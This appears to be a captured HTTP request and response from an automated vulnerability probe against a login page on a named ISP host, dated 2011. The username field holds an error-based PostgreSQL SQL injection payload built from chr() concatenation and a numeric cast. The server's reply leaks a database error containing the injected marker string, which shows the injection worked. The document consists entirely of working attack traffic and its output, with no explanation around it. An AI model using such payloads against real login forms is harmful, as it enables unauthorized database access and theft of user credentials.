http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 243 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&usernamepword=Smith
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:41:49 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 74 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: invalid input syntax for type numeric: "_!@5dilemma"